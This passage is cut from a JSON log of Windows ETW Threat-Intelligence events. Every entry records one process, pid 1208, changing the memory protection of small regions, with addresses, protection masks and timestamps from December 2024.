type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C5E0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":76,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909633,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"32\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C720\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":77,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909646,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C590\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C630\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":78,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909659,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CA40\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C720\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":79,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909673,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C7C0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C720\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":80,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909685,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C6D0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C8B0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":81,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909698,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C7C0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"32\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C5E0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":82,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909711,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C630\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":83,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909724,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C900\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365CB30\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":84,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909777,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CA40\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C5E0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":85,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909790,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C950\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365CA40\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":86,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909803,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C5E0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C810\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":87,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909816,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C900\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C630\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":88,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909828,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C540\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":89,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909840,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C540\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C7C0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":90,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909853,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C4A0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":91,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909865,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CB30\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C630\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":92,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909878,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CB30\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C590\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":93,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909891,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C900\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C9F0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":94,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909914,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C4F0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"128\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"64\",\"RegionSize\":\"0x0000025BA365C4F0\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":95,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973909936,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365CA40\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown type)\",\"OriginalProcessSectionSignatureLevel\":\"(Unknown type)\",\"OriginalProcessSignatureLevel\":\"(Unknown type)\",\"OriginalProcessStartKey\":\"25332747903961354\",\"ProtectionMask\":\"128\",\"RegionSize\":\"0x0000025BA365C540\",\"TargetProcessCreateTime\":\"2024/12/20 17.48.17\",\"TargetProcessId\":\"1208\",\"TargetProcessProtection\":\"(Unknown type)\",\"TargetProcessSectionSignatureLevel\":\"(Unknown type)\",\"TargetProcessSignatureLevel\":\"(Unknown type)\",\"TargetProcessStartKey\":\"25332747903961354\",\"event\":\"PROTECTVM_LOCAL\",\"id\":96,\"pid\":1208,\"provider_name\":\"Microsoft-Windows-Threat-Intelligence\",\"thread_id\":6916,\"time\":133791868973910092,\"trace_id\":41,\"type\":\"etw\"},{\"BaseAddress\":\"0x0000025BA365C8B0\",\"CallingProcessCreateTime\":\"2024/12/20 17.48.17\",\"CallingProcessId\":\"1208\",\"CallingProcessProtection\":\"(Unknown type)\",\"CallingProcessSectionSignatureLevel\":\"(Unknown type)\",\"CallingProcessSignatureLevel\":\"(Unknown type)\",\"CallingProcessStartKey\":\"25332747903961354\",\"CallingThreadCreateTime\":\"2024/12/20 17.48.17\",\"CallingThreadId\":\"6916\",\"LastProtectionMask\":\"64\",\"OriginalProcessCreateTime\":\"2024/12/20 17.48.17\",\"OriginalProcessId\":\"1208\",\"OriginalProcessProtection\":\"(Unknown 